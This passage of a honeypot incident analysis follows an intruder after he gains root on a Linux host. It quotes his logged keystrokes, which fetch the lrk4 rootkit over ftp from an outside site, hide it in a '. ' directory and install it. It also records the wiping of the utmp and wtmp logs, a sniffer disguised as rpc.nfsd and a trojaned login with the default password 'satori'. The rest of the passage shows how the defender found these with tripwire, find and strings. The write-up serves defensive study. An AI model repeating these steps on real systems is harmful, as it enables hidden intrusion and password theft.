

branch.nj.da.uu.net

Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewte by crak0(uid=0)

Covering Their tracks

The intruder is now on our system as root. As we are now about to see, the next step for him is to make sure he does not get caught. First, he checks to see if anyone else is on the system.

```
[crak0@mozart /tmp]$ w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
crak0 tty0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
```

After making sure the coast is clear, he will want to hide all of his actions. This normally entails removing any evidence from the logs files and replacing system binaries with trojans, such as ps or netstat, so you cannot see the intruder on your own system. Once the trojans are in place, the intruder has gained total control of your system and you will most likely never know it. Just as there are automated scripts for hacking, there are also automated tools for hiding intruders, often called rootkits. One of the more common rootkits is [lrk4](#). By executing the script, a variety of critical files are replaced, hiding the intruder in seconds. For more detailed information on rootkits, see the [README](#) that comes with lrk4. This will give you a better idea how rootkits work in general. I also recommend you check out [hide-and-seeK](#), a black-hat paper on covering your tracks.

Within minutes of compromising our system, we see the intruder downloading the rootkit and then implementing the script with the command "make install". Below are the actual keystrokes the intruder typed to hide himself.

```
cd /dev/
su rewte
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdssdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install
```

Notice the first thing that our intruder did, he created the hidden directory ". " to hide his toolkit. This directory does not show up with the "ls" command, and looks like the local directory with "ls -la" command. One way you can locate the directory is with the "find" command (be sure you can trust the integrity of your "find" binary).

```
mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.
```

Our intruder may have been somewhat sophisticated in using trojan binaries, but had a simpler approach to cleaning the logs files. Instead of using cleaning tools such as zap2 or clean, he copied /dev/null to the files /var/run/utmp and /var/log/utmp, while deleting /var/log/wtmp. You know something is wrong when these logs files contain no data, or you get the following error:

```
[root@mozart sbin]# last -10
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.
```

The Next Step

Once a system has been compromised, intruders tend to do one of two things. First, they use your system as a launching pad and scan or exploit other systems. Second, they decided to lay low and see what they can learn about your system, such as accounts for other systems. Our intruder decided for option number two, lay low and see what he could learn. He implemented a sniffer on our system that would capture all of our network traffic, including telnet and ftp sessions to other systems. This way he could learn logins and passwords. We see the system going into promiscuous mode in `/var/log/messages` soon after the compromise.

```
Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.
```

After implementing the trojan binaries, clearing the log files, and starting the sniffer, our intruder disconnected from the system. However, we will see him returning the next day to find what traffic he captured.

Damage Control

Since our friend had disconnected, this gave me a chance to review the system and see what exactly happened. I was extremely interested to see what was altered, and where he was logging the sniffer information. First, I quickly identified with [tripwire](#) which files were modified. Note, make sure you run tripwire from a valid source. I like to run a statically-linked version of tripwire from a read-only floppy. Tripwire showed the following.

```
added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999 /etc/passwd
```

As you can see, a variety of binaries and files were modified. There were no new entries in `/etc/passwd` (wisely, he had removed the `crak0` and `rewt` accounts), so our intruder must have left a backdoor in one of the modified binaries. Also, two files were added, `/usr/sbin/sniff.pid` and `/usr/sbin/tcp.log`. Not suprisingly, `/usr/sbin/sniff.pid` was the pid of the sniffer, `/usr/sbin/tcp.log` was where he was storing all of his captured information. Based on `/usr/sbin/sniff.pid`, the sniffer turned out to be `rpc.nfsd`. Our intruder had compiled a sniffer, in this case `linsniffer`, and replaced `rpc.nfsd` with it. This ensured that if the system was rebooted, the sniffer would be restarted by the `init` process. `Strings` confirms `rpc.nfsd` is the sniffer:

```
mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
```

```
cant open log
rm %s
```

After reviewing the system and understanding what happened, I left the system alone. I was curious to see what the intruder's next steps would be. I did not want him to know that I had caught him, so I removed all of my entries from /usr/sbin/tcp.log.

The Script Kiddie Returns

The following day our friend returned. By logging his keystrokes, I quickly identified the backdoor, /bin/login was trojaned. This binary, used for telnet connections, was configured to allow the account "rewt" root privileges with the password "satori". The password "satori" is the default password for all trojaned binaries that the rootkit lrk4 uses, a giveaway that your system may have been compromised.

The intruder was checking on his sniffer to ensure it was still functioning. Also, he wanted to confirm if any accounts were captured since the previous day. You can review his keystrokes at [keystrokes.txt](#). Notice at the bottom of the log our intruder kills the sniffer. This was the last thing he did before terminating the session. However, he quickly returned several minutes later with another session, only to start the sniffer again. I'm not exactly sure why he did this. This process of checking the system continued for several days. Every day the intruder would connect to the system to confirm the sniffer was running and if it had captured any valuable data. After the fourth day, I decided that this was enough and disconnected the system. I had learned enough from the intruder's actions and was not going to learn anything new.

Conclusion

We have seen in this paper how an intruder may act, from start to finish, once they gain root on your system. They often begin by checking to see if anyone is on the system. Once they know the coast is clear, they cover their tracks by clearing the logfiles and replacing or modifying critical files. Once they are safely hidden, they move onto new and more damaging activities. These tactics are here to stay, as new exploits are constantly being discovered. To better protect yourself against these threats, I recommend you armor your systems. Basic armoring will protect against most script kiddie threats, as they normally go for the easy kill. For ideas on how to armor your system, check out [Armoring Linux](#) or [Armoring Solaris](#). If it is too late and you feel your system has already been compromised, a good place to start is CERT's site "[Recovering from an Incident](#)".

Author's bio

Lance Spitzner enjoys learning by blowing up his Unix systems at home. Before this, he was an [Officer in the Rapid Deployment Force](#), where he blew up things of a different nature. You can reach him at lance@spitzner.net.